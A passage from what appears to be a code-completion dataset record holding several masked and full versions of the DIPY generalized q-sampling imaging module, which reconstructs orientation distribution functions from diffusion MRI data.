IEEE TMI, 2010\n\n .. [2] Garyfallidis E, \"Towards an accurate brain tractography\", PhD\n thesis, University of Cambridge, 2012.\n\n Notes\n -----\n As of version 0.9, range of the sampling length in GQI2 has changed\n to match the same scale used in the 'standard' method [1]_. This\n means that the value of `sampling_length` should be approximately\n 1 - 1.3 (see [1]_, pg. 1628).\n\n Examples\n --------\n Here we create an example where we provide the data, a gradient table\n and a reconstruction sphere and calculate the ODF for the first\n voxel in the data.\n\n >>> from dipy.data import dsi_voxels\n >>> data, gtab = dsi_voxels()\n >>> from dipy.core.subdivide_octahedron import create_unit_sphere\n >>> sphere = create_unit_sphere(5)\n >>> from dipy.reconst.gqi import GeneralizedQSamplingModel\n >>> gq = GeneralizedQSamplingModel(gtab, 'gqi2', 1.1)\n >>> voxel_signal = data[0, 0, 0]\n >>> odf = gq.fit(voxel_signal).odf(sphere)\n\n See Also\n --------\n dipy.reconst.dsi.DiffusionSpectrumModel\n\n \"\"\"\n OdfModel.__init__(self, gtab)\n self.method = method\n self.Lambda = sampling_length\n self.normalize_peaks = normalize_peaks\n scaling = np.sqrt(self.gtab.bvals * 0.01506)\n tmp = np.tile(scaling, (3, 1))\n gradsT = self.gtab.bvecs.T\n b_vector = gradsT * tmp\n self.b_vector = b_vector.T\n\n @multi_voxel_fit\n def fit(self, data):\n return GeneralizedQSamplingFit(self, data)\n\n\nclass GeneralizedQSamplingFit(OdfFit):\n\n def __init__(self, model, data):\n \"\"\" Calculates PDF and ODF for a single voxel\n\n Parameters\n ----------\n model : object,\n DiffusionSpectrumModel\n data : 1d ndarray,\n signal values\n\n \"\"\"\n OdfFit.__init__(self, model, data)\n self._gfa = None\n self.npeaks = 5\n self._peak_values = None\n self._peak_indices = None\n self._qa = None\n\n def odf(self, sphere):\n \"\"\" Calculates the discrete ODF for a given discrete sphere.\n \"\"\"\n self.gqi_vector = self.model.cache_get('gqi_vector', key=sphere)\n if self.gqi_vector is None:\n if self.model.method == 'gqi2':\n H = squared_radial_component\n self.gqi_vector = np.real(H(np.dot(self.model.b_vector,\n sphere.vertices.T) * self.model.Lambda))\n if self.model.method == 'standard':\n self.gqi_vector = np.real(np.sinc(np.dot(self.model.\n b_vector, sphere.vertices.T) * self.model.Lambda / np.pi))\n self.model.cache_set('gqi_vector', sphere, self.gqi_vector)\n return np.dot(self.data, self.gqi_vector)\n\n\ndef normalize_qa(qa, max_qa=None):\n \"\"\" Normalize quantitative anisotropy.\n\n Used mostly with GQI rather than GQI2.\n\n Parameters\n ----------\n qa : array, shape (X, Y, Z, N)\n where N is the maximum number of peaks stored\n max_qa : float,\n maximum qa value. Usually found in the CSF (corticospinal fluid).\n\n Returns\n -------\n nqa : array, shape (x, Y, Z, N)\n normalized quantitative anisotropy\n\n Notes\n -----\n Normalized quantitative anisotropy has the very useful property\n to be very small near gray matter and background areas. Therefore,\n it can be used to mask out white matter areas.\n\n \"\"\"\n if max_qa is None:\n return qa / qa.max()\n return qa / max_qa\n\n\n<mask token>\n\n\ndef npa(self, odf, width=5):\n \"\"\" non-parametric anisotropy\n\n Nimmo-Smith et al. ISMRM 2011\n \"\"\"\n t0, t1, t2 = triple_odf_maxima(self.odf_vertices, odf, width)\n psi0 = t0[1] ** 2\n psi1 = t1[1] ** 2\n psi2 = t2[1] ** 2\n npa = np.sqrt((psi0 - psi1) ** 2 + (psi1 - psi2) ** 2 + (psi2 - psi0) ** 2\n ) / np.sqrt(2 * (psi0 ** 2 + psi1 ** 2 + psi2 ** 2))\n return t0, t1, t2, npa\n\n\n<mask token>\n\n\ndef polar_zone_vertices(vertices, pole, width=5):\n \"\"\"\n finds the 'vertices' in the equatorial band around\n the 'pole' of radius 'width' degrees\n \"\"\"\n return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) >\n np.abs(np.cos(np.pi * width / 180))]\n\n\ndef upper_hemi_map(v):\n \"\"\"\n maps a 3-vector into the z-upper hemisphere\n \"\"\"\n return np.sign(v[2]) * v\n\n\ndef equatorial_maximum(vertices, odf, pole, width):\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty equatorial band at %s pole with width %f' % (np.\n array_str(pole), width))\n return None, None\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n return eqvertmax, eqvalmax\n\n\ndef patch_vertices(vertices, pole, width):\n \"\"\"\n find 'vertices' within the cone of 'width' degrees around 'pole'\n \"\"\"\n return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) >\n np.abs(np.cos(np.pi * width / 180))]\n\n\ndef patch_maximum(vertices, odf, pole, width):\n eqvert = patch_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty cone around pole %s with with width %f' % (np.\n array_str(pole), width))\n return np.Null, np.Null\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n return eqvertmax, eqvalmax\n\n\ndef odf_sum(odf):\n return np.sum(odf)\n\n\ndef patch_sum(vertices, odf, pole, width):\n eqvert = patch_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty cone around pole %s with with width %f' % (np.\n array_str(pole), width))\n return np.Null\n return np.sum([odf[i] for i in eqvert])\n\n\ndef triple_odf_maxima(vertices, odf, width):\n indmax1 = np.argmax([odf[i] for i, v in enumerate(vertices)])\n odfmax1 = odf[indmax1]\n pole = vertices[indmax1]\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n indmax2, odfmax2 = equatorial_maximum(vertices, odf, pole, width)\n indmax3 = eqvert[np.argmin([np.abs(np.dot(vertices[indmax2], vertices[p\n ])) for p in eqvert])]\n odfmax3 = odf[indmax3]\n \"\"\"\n cross12 = np.cross(vertices[indmax1],vertices[indmax2])\n cross12 = cross12/np.sqrt(np.sum(cross12**2))\n indmax3, odfmax3 = patch_maximum(vertices, odf, cross12, 2*width)\n \"\"\"\n return [(indmax1, odfmax1), (indmax2, odfmax2), (indmax3, odfmax3)]\n", "step-3": "<mask token>\n\n\nclass GeneralizedQSamplingModel(OdfModel, Cache):\n\n def __init__(self, gtab, method='gqi2', sampling_length=1.2,\n normalize_peaks=False):\n \"\"\" Generalized Q-Sampling Imaging [1]_\n\n This model has the same assumptions as the DSI method i.e. Cartesian\n grid sampling in q-space and fast gradient switching.\n\n Implements equations 2.14 from [2]_ for standard GQI and equation 2.16\n from [2]_ for GQI2. You can think of GQI2 as an analytical solution of\n the DSI ODF.\n\n Parameters\n ----------\n gtab : object,\n GradientTable\n method : str,\n 'standard' or 'gqi2'\n sampling_length : float,\n diffusion sampling length (lambda in eq. 2.14 and 2.16)\n\n References\n ----------\n .. [1] Yeh F-C et al., \"Generalized Q-Sampling Imaging\", IEEE TMI, 2010\n\n .. [2] Garyfallidis E, \"Towards an accurate brain tractography\", PhD\n thesis, University of Cambridge, 2012.\n\n Notes\n -----\n As of version 0.9, range of the sampling length in GQI2 has changed\n to match the same scale used in the 'standard' method [1]_. This\n means that the value of `sampling_length` should be approximately\n 1 - 1.3 (see [1]_, pg. 1628).\n\n Examples\n --------\n Here we create an example where we provide the data, a gradient table\n and a reconstruction sphere and calculate the ODF for the first\n voxel in the data.\n\n >>> from dipy.data import dsi_voxels\n >>> data, gtab = dsi_voxels()\n >>> from dipy.core.subdivide_octahedron import create_unit_sphere\n >>> sphere = create_unit_sphere(5)\n >>> from dipy.reconst.gqi import GeneralizedQSamplingModel\n >>> gq = GeneralizedQSamplingModel(gtab, 'gqi2', 1.1)\n >>> voxel_signal = data[0, 0, 0]\n >>> odf = gq.fit(voxel_signal).odf(sphere)\n\n See Also\n --------\n dipy.reconst.dsi.DiffusionSpectrumModel\n\n \"\"\"\n OdfModel.__init__(self, gtab)\n self.method = method\n self.Lambda = sampling_length\n self.normalize_peaks = normalize_peaks\n scaling = np.sqrt(self.gtab.bvals * 0.01506)\n tmp = np.tile(scaling, (3, 1))\n gradsT = self.gtab.bvecs.T\n b_vector = gradsT * tmp\n self.b_vector = b_vector.T\n\n @multi_voxel_fit\n def fit(self, data):\n return GeneralizedQSamplingFit(self, data)\n\n\nclass GeneralizedQSamplingFit(OdfFit):\n\n def __init__(self, model, data):\n \"\"\" Calculates PDF and ODF for a single voxel\n\n Parameters\n ----------\n model : object,\n DiffusionSpectrumModel\n data : 1d ndarray,\n signal values\n\n \"\"\"\n OdfFit.__init__(self, model, data)\n self._gfa = None\n self.npeaks = 5\n self._peak_values = None\n self._peak_indices = None\n self._qa = None\n\n def odf(self, sphere):\n \"\"\" Calculates the discrete ODF for a given discrete sphere.\n \"\"\"\n self.gqi_vector = self.model.cache_get('gqi_vector', key=sphere)\n if self.gqi_vector is None:\n if self.model.method == 'gqi2':\n H = squared_radial_component\n self.gqi_vector = np.real(H(np.dot(self.model.b_vector,\n sphere.vertices.T) * self.model.Lambda))\n if self.model.method == 'standard':\n self.gqi_vector = np.real(np.sinc(np.dot(self.model.\n b_vector, sphere.vertices.T) * self.model.Lambda / np.pi))\n self.model.cache_set('gqi_vector', sphere, self.gqi_vector)\n return np.dot(self.data, self.gqi_vector)\n\n\ndef normalize_qa(qa, max_qa=None):\n \"\"\" Normalize quantitative anisotropy.\n\n Used mostly with GQI rather than GQI2.\n\n Parameters\n ----------\n qa : array, shape (X, Y, Z, N)\n where N is the maximum number of peaks stored\n max_qa : float,\n maximum qa value. Usually found in the CSF (corticospinal fluid).\n\n Returns\n -------\n nqa : array, shape (x, Y, Z, N)\n normalized quantitative anisotropy\n\n Notes\n -----\n Normalized quantitative anisotropy has the very useful property\n to be very small near gray matter and background areas. Therefore,\n it can be used to mask out white matter areas.\n\n \"\"\"\n if max_qa is None:\n return qa / qa.max()\n return qa / max_qa\n\n\ndef squared_radial_component(x, tol=0.01):\n \"\"\" Part of the GQI2 integral\n\n Eq.8 in the referenced paper by Yeh et al. 2010\n \"\"\"\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n result = (2 * x * np.cos(x) + (x * x - 2) * np.sin(x)) / x ** 3\n x_near_zero = (x < tol) & (x > -tol)\n return np.where(x_near_zero, 1.0 / 3, result)\n\n\ndef npa(self, odf, width=5):\n \"\"\" non-parametric anisotropy\n\n Nimmo-Smith et al. ISMRM 2011\n \"\"\"\n t0, t1, t2 = triple_odf_maxima(self.odf_vertices, odf, width)\n psi0 = t0[1] ** 2\n psi1 = t1[1] ** 2\n psi2 = t2[1] ** 2\n npa = np.sqrt((psi0 - psi1) ** 2 + (psi1 - psi2) ** 2 + (psi2 - psi0) ** 2\n ) / np.sqrt(2 * (psi0 ** 2 + psi1 ** 2 + psi2 ** 2))\n return t0, t1, t2, npa\n\n\n<mask token>\n\n\ndef polar_zone_vertices(vertices, pole, width=5):\n \"\"\"\n finds the 'vertices' in the equatorial band around\n the 'pole' of radius 'width' degrees\n \"\"\"\n return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) >\n np.abs(np.cos(np.pi * width / 180))]\n\n\ndef upper_hemi_map(v):\n \"\"\"\n maps a 3-vector into the z-upper hemisphere\n \"\"\"\n return np.sign(v[2]) * v\n\n\ndef equatorial_maximum(vertices, odf, pole, width):\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty equatorial band at %s pole with width %f' % (np.\n array_str(pole), width))\n return None, None\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n return eqvertmax, eqvalmax\n\n\ndef patch_vertices(vertices, pole, width):\n \"\"\"\n find 'vertices' within the cone of 'width' degrees around 'pole'\n \"\"\"\n return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) >\n np.abs(np.cos(np.pi * width / 180))]\n\n\ndef patch_maximum(vertices, odf, pole, width):\n eqvert = patch_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty cone around pole %s with with width %f' % (np.\n array_str(pole), width))\n return np.Null, np.Null\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n return eqvertmax, eqvalmax\n\n\ndef odf_sum(odf):\n return np.sum(odf)\n\n\ndef patch_sum(vertices, odf, pole, width):\n eqvert = patch_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty cone around pole %s with with width %f' % (np.\n array_str(pole), width))\n return np.Null\n return np.sum([odf[i] for i in eqvert])\n\n\ndef triple_odf_maxima(vertices, odf, width):\n indmax1 = np.argmax([odf[i] for i, v in enumerate(vertices)])\n odfmax1 = odf[indmax1]\n pole = vertices[indmax1]\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n indmax2, odfmax2 = equatorial_maximum(vertices, odf, pole, width)\n indmax3 = eqvert[np.argmin([np.abs(np.dot(vertices[indmax2], vertices[p\n ])) for p in eqvert])]\n odfmax3 = odf[indmax3]\n \"\"\"\n cross12 = np.cross(vertices[indmax1],vertices[indmax2])\n cross12 = cross12/np.sqrt(np.sum(cross12**2))\n indmax3, odfmax3 = patch_maximum(vertices, odf, cross12, 2*width)\n \"\"\"\n return [(indmax1, odfmax1), (indmax2, odfmax2), (indmax3, odfmax3)]\n", "step-4": "<mask token>\nimport numpy as np\nfrom dipy.reconst.odf import OdfModel, OdfFit, gfa\nfrom dipy.reconst.cache import Cache\nimport warnings\nfrom dipy.reconst.multi_voxel import multi_voxel_fit\nfrom dipy.reconst.recspeed import local_maxima, remove_similar_vertices\n\n\nclass GeneralizedQSamplingModel(OdfModel, Cache):\n\n def __init__(self, gtab, method='gqi2', sampling_length=1.2,\n normalize_peaks=False):\n \"\"\" Generalized Q-Sampling Imaging [1]_\n\n This model has the same assumptions as the DSI method i.e. Cartesian\n grid sampling in q-space and fast gradient switching.\n\n Implements equations 2.14 from [2]_ for standard GQI and equation 2.16\n from [2]_ for GQI2. You can think of GQI2 as an analytical solution of\n the DSI ODF.\n\n Parameters\n ----------\n gtab : object,\n GradientTable\n method : str,\n 'standard' or 'gqi2'\n sampling_length : float,\n diffusion sampling length (lambda in eq. 2.14 and 2.16)\n\n References\n ----------\n .. [1] Yeh F-C et al., \"Generalized Q-Sampling Imaging\", IEEE TMI, 2010\n\n .. [2] Garyfallidis E, \"Towards an accurate brain tractography\", PhD\n thesis, University of Cambridge, 2012.\n\n Notes\n -----\n As of version 0.9, range of the sampling length in GQI2 has changed\n to match the same scale used in the 'standard' method [1]_. This\n means that the value of `sampling_length` should be approximately\n 1 - 1.3 (see [1]_, pg. 1628).\n\n Examples\n --------\n Here we create an example where we provide the data, a gradient table\n and a reconstruction sphere and calculate the ODF for the first\n voxel in the data.\n\n >>> from dipy.data import dsi_voxels\n >>> data, gtab = dsi_voxels()\n >>> from dipy.core.subdivide_octahedron import create_unit_sphere\n >>> sphere = create_unit_sphere(5)\n >>> from dipy.reconst.gqi import GeneralizedQSamplingModel\n >>> gq = GeneralizedQSamplingModel(gtab, 'gqi2', 1.1)\n >>> voxel_signal = data[0, 0, 0]\n >>> odf = gq.fit(voxel_signal).odf(sphere)\n\n See Also\n --------\n dipy.reconst.dsi.DiffusionSpectrumModel\n\n \"\"\"\n OdfModel.__init__(self, gtab)\n self.method = method\n self.Lambda = sampling_length\n self.normalize_peaks = normalize_peaks\n scaling = np.sqrt(self.gtab.bvals * 0.01506)\n tmp = np.tile(scaling, (3, 1))\n gradsT = self.gtab.bvecs.T\n b_vector = gradsT * tmp\n self.b_vector = b_vector.T\n\n @multi_voxel_fit\n def fit(self, data):\n return GeneralizedQSamplingFit(self, data)\n\n\nclass GeneralizedQSamplingFit(OdfFit):\n\n def __init__(self, model, data):\n \"\"\" Calculates PDF and ODF for a single voxel\n\n Parameters\n ----------\n model : object,\n DiffusionSpectrumModel\n data : 1d ndarray,\n signal values\n\n \"\"\"\n OdfFit.__init__(self, model, data)\n self._gfa = None\n self.npeaks = 5\n self._peak_values = None\n self._peak_indices = None\n self._qa = None\n\n def odf(self, sphere):\n \"\"\" Calculates the discrete ODF for a given discrete sphere.\n \"\"\"\n self.gqi_vector = self.model.cache_get('gqi_vector', key=sphere)\n if self.gqi_vector is None:\n if self.model.method == 'gqi2':\n H = squared_radial_component\n self.gqi_vector = np.real(H(np.dot(self.model.b_vector,\n sphere.vertices.T) * self.model.Lambda))\n if self.model.method == 'standard':\n self.gqi_vector = np.real(np.sinc(np.dot(self.model.\n b_vector, sphere.vertices.T) * self.model.Lambda / np.pi))\n self.model.cache_set('gqi_vector', sphere, self.gqi_vector)\n return np.dot(self.data, self.gqi_vector)\n\n\ndef normalize_qa(qa, max_qa=None):\n \"\"\" Normalize quantitative anisotropy.\n\n Used mostly with GQI rather than GQI2.\n\n Parameters\n ----------\n qa : array, shape (X, Y, Z, N)\n where N is the maximum number of peaks stored\n max_qa : float,\n maximum qa value. Usually found in the CSF (corticospinal fluid).\n\n Returns\n -------\n nqa : array, shape (x, Y, Z, N)\n normalized quantitative anisotropy\n\n Notes\n -----\n Normalized quantitative anisotropy has the very useful property\n to be very small near gray matter and background areas. Therefore,\n it can be used to mask out white matter areas.\n\n \"\"\"\n if max_qa is None:\n return qa / qa.max()\n return qa / max_qa\n\n\ndef squared_radial_component(x, tol=0.01):\n \"\"\" Part of the GQI2 integral\n\n Eq.8 in the referenced paper by Yeh et al. 2010\n \"\"\"\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n result = (2 * x * np.cos(x) + (x * x - 2) * np.sin(x)) / x ** 3\n x_near_zero = (x < tol) & (x > -tol)\n return np.where(x_near_zero, 1.0 / 3, result)\n\n\ndef npa(self, odf, width=5):\n \"\"\" non-parametric anisotropy\n\n Nimmo-Smith et al. ISMRM 2011\n \"\"\"\n t0, t1, t2 = triple_odf_maxima(self.odf_vertices, odf, width)\n psi0 = t0[1] ** 2\n psi1 = t1[1] ** 2\n psi2 = t2[1] ** 2\n npa = np.sqrt((psi0 - psi1) ** 2 + (psi1 - psi2) ** 2 + (psi2 - psi0) ** 2\n ) / np.sqrt(2 * (psi0 ** 2 + psi1 ** 2 + psi2 ** 2))\n return t0, t1, t2, npa\n\n\ndef equatorial_zone_vertices(vertices, pole, width=5):\n \"\"\"\n finds the 'vertices' in the equatorial zone conjugate\n to 'pole' with width half 'width' degrees\n \"\"\"\n return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) <\n np.abs(np.sin(np.pi * width / 180))]\n\n\ndef polar_zone_vertices(vertices, pole, width=5):\n \"\"\"\n finds the 'vertices' in the equatorial band around\n the 'pole' of radius 'width' degrees\n \"\"\"\n return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) >\n np.abs(np.cos(np.pi * width / 180))]\n\n\ndef upper_hemi_map(v):\n \"\"\"\n maps a 3-vector into the z-upper hemisphere\n \"\"\"\n return np.sign(v[2]) * v\n\n\ndef equatorial_maximum(vertices, odf, pole, width):\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty equatorial band at %s pole with width %f' % (np.\n array_str(pole), width))\n return None, None\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n return eqvertmax, eqvalmax\n\n\ndef patch_vertices(vertices, pole, width):\n \"\"\"\n find 'vertices' within the cone of 'width' degrees around 'pole'\n \"\"\"\n return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) >\n np.abs(np.cos(np.pi * width / 180))]\n\n\ndef patch_maximum(vertices, odf, pole, width):\n eqvert = patch_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty cone around pole %s with with width %f' % (np.\n array_str(pole), width))\n return np.Null, np.Null\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n return eqvertmax, eqvalmax\n\n\ndef odf_sum(odf):\n return np.sum(odf)\n\n\ndef patch_sum(vertices, odf, pole, width):\n eqvert = patch_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty cone around pole %s with with width %f' % (np.\n array_str(pole), width))\n return np.Null\n return np.sum([odf[i] for i in eqvert])\n\n\ndef triple_odf_maxima(vertices, odf, width):\n indmax1 = np.argmax([odf[i] for i, v in enumerate(vertices)])\n odfmax1 = odf[indmax1]\n pole = vertices[indmax1]\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n indmax2, odfmax2 = equatorial_maximum(vertices, odf, pole, width)\n indmax3 = eqvert[np.argmin([np.abs(np.dot(vertices[indmax2], vertices[p\n ])) for p in eqvert])]\n odfmax3 = odf[indmax3]\n \"\"\"\n cross12 = np.cross(vertices[indmax1],vertices[indmax2])\n cross12 = cross12/np.sqrt(np.sum(cross12**2))\n indmax3, odfmax3 = patch_maximum(vertices, odf, cross12, 2*width)\n \"\"\"\n return [(indmax1, odfmax1), (indmax2, odfmax2), (indmax3, odfmax3)]\n", "step-5": "\"\"\" Classes and functions for generalized q-sampling \"\"\"\nimport numpy as np\nfrom dipy.reconst.odf import OdfModel, OdfFit, gfa\nfrom dipy.reconst.cache import Cache\nimport warnings\nfrom dipy.reconst.multi_voxel import multi_voxel_fit\nfrom dipy.reconst.recspeed import local_maxima, remove_similar_vertices\n\n\nclass GeneralizedQSamplingModel(OdfModel, Cache):\n def __init__(self,\n gtab,\n method='gqi2',\n sampling_length=1.2,\n normalize_peaks=False):\n r\"\"\" Generalized Q-Sampling Imaging [1]_\n\n This model has the same assumptions as the DSI method i.e. Cartesian\n grid sampling in q-space and fast gradient switching.\n\n Implements equations 2.14 from [2]_ for standard GQI and equation 2.16\n from [2]_ for GQI2. You can think of GQI2 as an analytical solution of\n the DSI ODF.\n\n Parameters\n ----------\n gtab : object,\n GradientTable\n method : str,\n 'standard' or 'gqi2'\n sampling_length : float,\n diffusion sampling length (lambda in eq. 2.14 and 2.16)\n\n References\n ----------\n .. [1] Yeh F-C et al., \"Generalized Q-Sampling Imaging\", IEEE TMI, 2010\n\n .. [2] Garyfallidis E, \"Towards an accurate brain tractography\", PhD\n thesis, University of Cambridge, 2012.\n\n Notes\n -----\n As of version 0.9, range of the sampling length in GQI2 has changed\n to match the same scale used in the 'standard' method [1]_. This\n means that the value of `sampling_length` should be approximately\n 1 - 1.3 (see [1]_, pg. 1628).\n\n Examples\n --------\n Here we create an example where we provide the data, a gradient table\n and a reconstruction sphere and calculate the ODF for the first\n voxel in the data.\n\n >>> from dipy.data import dsi_voxels\n >>> data, gtab = dsi_voxels()\n >>> from dipy.core.subdivide_octahedron import create_unit_sphere\n >>> sphere = create_unit_sphere(5)\n >>> from dipy.reconst.gqi import GeneralizedQSamplingModel\n >>> gq = GeneralizedQSamplingModel(gtab, 'gqi2', 1.1)\n >>> voxel_signal = data[0, 0, 0]\n >>> odf = gq.fit(voxel_signal).odf(sphere)\n\n See Also\n --------\n dipy.reconst.dsi.DiffusionSpectrumModel\n\n \"\"\"\n OdfModel.__init__(self, gtab)\n self.method = method\n self.Lambda = sampling_length\n self.normalize_peaks = normalize_peaks\n # 0.01506 = 6*D where D is the free water diffusion coefficient\n # l_values sqrt(6 D tau) D free water diffusion coefficient and\n # tau included in the b-value\n scaling = np.sqrt(self.gtab.bvals * 0.01506)\n tmp = np.tile(scaling, (3, 1))\n gradsT = self.gtab.bvecs.T\n b_vector = gradsT * tmp # element-wise product\n self.b_vector = b_vector.T\n\n @multi_voxel_fit\n def fit(self, data):\n return GeneralizedQSamplingFit(self, data)\n\n\nclass GeneralizedQSamplingFit(OdfFit):\n\n def __init__(self, model, data):\n \"\"\" Calculates PDF and ODF for a single voxel\n\n Parameters\n ----------\n model : object,\n DiffusionSpectrumModel\n data : 1d ndarray,\n signal values\n\n \"\"\"\n OdfFit.__init__(self, model, data)\n self._gfa = None\n self.npeaks = 5\n self._peak_values = None\n self._peak_indices = None\n self._qa = None\n\n def odf(self, sphere):\n \"\"\" Calculates the discrete ODF for a given discrete sphere.\n \"\"\"\n self.gqi_vector = self.model.cache_get('gqi_vector', key=sphere)\n if self.gqi_vector is None:\n if self.model.method == 'gqi2':\n H = squared_radial_component\n # print self.gqi_vector.shape\n self.gqi_vector = np.real(H(np.dot(\n self.model.b_vector, sphere.vertices.T) *\n self.model.Lambda))\n if self.model.method == 'standard':\n self.gqi_vector = np.real(np.sinc(np.dot(\n self.model.b_vector, sphere.vertices.T) *\n self.model.Lambda / np.pi))\n self.model.cache_set('gqi_vector', sphere, self.gqi_vector)\n\n return np.dot(self.data, self.gqi_vector)\n\n\ndef normalize_qa(qa, max_qa=None):\n \"\"\" Normalize quantitative anisotropy.\n\n Used mostly with GQI rather than GQI2.\n\n Parameters\n ----------\n qa : array, shape (X, Y, Z, N)\n where N is the maximum number of peaks stored\n max_qa : float,\n maximum qa value. Usually found in the CSF (corticospinal fluid).\n\n Returns\n -------\n nqa : array, shape (x, Y, Z, N)\n normalized quantitative anisotropy\n\n Notes\n -----\n Normalized quantitative anisotropy has the very useful property\n to be very small near gray matter and background areas. Therefore,\n it can be used to mask out white matter areas.\n\n \"\"\"\n if max_qa is None:\n return qa / qa.max()\n return qa / max_qa\n\n\ndef squared_radial_component(x, tol=0.01):\n \"\"\" Part of the GQI2 integral\n\n Eq.8 in the referenced paper by Yeh et al. 2010\n \"\"\"\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n result = (2 * x * np.cos(x) + (x * x - 2) * np.sin(x)) / (x ** 3)\n x_near_zero = (x < tol) & (x > -tol)\n return np.where(x_near_zero, 1./3, result)\n\n\ndef npa(self, odf, width=5):\n \"\"\" non-parametric anisotropy\n\n Nimmo-Smith et al. ISMRM 2011\n \"\"\"\n # odf = self.odf(s)\n t0, t1, t2 = triple_odf_maxima(self.odf_vertices, odf, width)\n psi0 = t0[1] ** 2\n psi1 = t1[1] ** 2\n psi2 = t2[1] ** 2\n npa = (np.sqrt(\n (psi0 - psi1) ** 2 +\n (psi1 - psi2) ** 2 +\n (psi2 - psi0) ** 2) /\n np.sqrt(2 * (psi0 ** 2 + psi1 ** 2 + psi2 ** 2)))\n # print 'tom >>>> ',t0,t1,t2,npa\n\n return t0, t1, t2, npa\n\n\ndef equatorial_zone_vertices(vertices, pole, width=5):\n \"\"\"\n finds the 'vertices' in the equatorial zone conjugate\n to 'pole' with width half 'width' degrees\n \"\"\"\n return [i\n for i, v in enumerate(vertices)\n if np.abs(np.dot(v, pole)) < np.abs(np.sin(np.pi * width / 180))]\n\n\ndef polar_zone_vertices(vertices, pole, width=5):\n \"\"\"\n finds the 'vertices' in the equatorial band around\n the 'pole' of radius 'width' degrees\n \"\"\"\n return [i\n for i, v in enumerate(vertices)\n if np.abs(np.dot(v, pole)) > np.abs(np.cos(np.pi * width / 180))]\n\n\ndef upper_hemi_map(v):\n \"\"\"\n maps a 3-vector into the z-upper hemisphere\n \"\"\"\n return np.sign(v[2])*v\n\n\ndef equatorial_maximum(vertices, odf, pole, width):\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n # need to test for whether eqvert is empty or not\n if len(eqvert) == 0:\n print('empty equatorial band at %s pole with width %f' %\n (np.array_str(pole), width))\n return None, None\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n\n return eqvertmax, eqvalmax\n\n\ndef patch_vertices(vertices, pole, width):\n \"\"\"\n find 'vertices' within the cone of 'width' degrees around 'pole'\n \"\"\"\n return [i\n for i, v in enumerate(vertices)\n if np.abs(np.dot(v, pole)) > np.abs(np.cos(np.pi * width / 180))]\n\n\ndef patch_maximum(vertices, odf, pole, width):\n eqvert = patch_vertices(vertices, pole, width)\n # need to test for whether eqvert is empty or not\n if len(eqvert) == 0:\n print('empty cone around pole %s with with width %f' %\n (np.array_str(pole), width))\n return np.Null, np.Null\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n return eqvertmax, eqvalmax\n\n\ndef odf_sum(odf):\n return np.sum(odf)\n\n\ndef patch_sum(vertices, odf, pole, width):\n eqvert = patch_vertices(vertices, pole, width)\n # need to test for whether eqvert is empty or not\n if len(eqvert) == 0:\n print('empty cone around pole %s with with width %f' %\n (np.array_str(pole), width))\n return np.Null\n return np.sum([odf[i] for i in eqvert])\n\n\ndef triple_odf_maxima(vertices, odf, width):\n\n indmax1 = np.argmax([odf[i] for i, v in enumerate(vertices)])\n odfmax1 = odf[indmax1]\n pole = vertices[indmax1]\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n indmax2, odfmax2 = equatorial_maximum(vertices, odf, pole, width)\n indmax3 = eqvert[np.argmin([np.abs(np.dot(vertices[indmax2], vertices[p]))\n for p in eqvert])]\n odfmax3 = odf[indmax3]\n \"\"\"\n cross12 = np.cross(vertices[indmax1],vertices[indmax2])\n cross12 = cross12/np.sqrt(np.sum(cross12**2))\n indmax3, odfmax3 = patch_maximum(vertices, odf, cross12, 2*width)\n \"\"\"\n return [(indmax1, odfmax1), (indmax2, odfmax2), (indmax3, odfmax3)]\n", "step-ids": [ 14, 16, 17, 19, 20 ] }
[ 14, 16, 17, 19, 20 ]
